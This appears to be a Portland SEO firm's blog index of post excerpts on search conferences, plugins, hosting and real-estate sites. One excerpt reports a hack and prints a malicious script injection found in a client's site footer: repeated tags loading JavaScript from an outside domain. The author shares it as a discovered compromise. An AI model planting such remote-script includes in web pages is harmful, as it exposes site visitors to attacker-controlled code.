Portland SEO

Strange IP’s hacking a server of ours lately – 16 IPs have logged into user “ABCD” from 3 identified countries within the last 30 days, including: 11 67.160.173.45 (United States) 4 24.20.142.238 (United States) 2 76.105.170.147 (United States) 1 121.191.48.21 (Korea, Republic of) 1 89.165.19.111 (Iran, Islamic Republic of) 1 121.150.235.223 (Korea, Republic of) 1 [...]

Take aways from today’s Searchfest in Portland, Oregon. Featured Speakers: Rand Fishkin, Adam Audette, Will Scott, Mike Blumenthal, Todd Malicoat, SEO Notes: MnSEM 9:50am via TweetDeck Unique Root Linking Domains is one of most important ranking signals. #SearchFest +++++++ dswanson30 9:51am via twicca The black magic is gone out of seo. #searchfest ++++++++++++ senciaweb 8:48am [...]

Experimenting today with WordPress Datafeed Plugins. So far here’s what I’ve found… It seems like most of the plugins on the market have a great deal of negative feedback, are still in development or have some bugs. From what I can tell, these look like the best plugins to use: Datafeedr.com – Pricey. $27 per [...]

Malicious code, check this out, I took out the beginning and ending tags from this snippet of code today that I found in one of our Real Estate SEO client’s websites. I found it in the footer: script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script><script type=”text/javascript” src=”http://ampasanpablo.com/ajax/c.js”></script Gnarly stuff, not sure how it got in there [...]

After being completely happy with my new CTL computer I decided to upgrade my old CRT Flat Panel 50 pounder to a new shiny CTL LCD Monitor. The results, quite an upgrade, and I wish I would have done it sooner. Look at this black beauty in all of it’s 23 inches of splendor!

If you do internet marketing for a hobby or work, and you live in Portland Oregon, chances are you’ve seen a lot new SEO companies popping up. I am simply amazed at all the talent out there (here) in our city by the river. While they come and go, and bounce around on Google local [...]

Last month, we created MyKiheiCondos.com – Now we are following it up with it’s sister site, MyWaileaCondos.com. A website that features Vacation Condos for Sale in Wailea, Maui. – http://www.mywaileacondos.com/

This month, we released a new website for our favorite Maui Real Estate Agent, Roger Pleski. What’s unique about this new site is that it’s focused on just South Maui Real Estate,  Kihei Condos specifically. With the ever increasing competition among real estate agents in Maui, we thought it was important to create a city [...]

For most people hosting with HostGator or Bluehost is fine. If you have a business, or have specialized hosting needs I recommend these web hosting companies. 1. Canvas Dreams – http://www.canvasdreams.com – cpanel and fantastico – domains: 10 max – unique ip: $5 per month – cost: $25 per month + $5 static ip = [...]

A few years ago I remember reading an article in Wired Magazine on {ORM} or Online Reputation Management. The article was focused on a booming new start-up company named Reputation Defender. Here’s an important excerpt from the page: “ The partners of ReputationDefender originally conceived the company as a way for parents to protect their [...]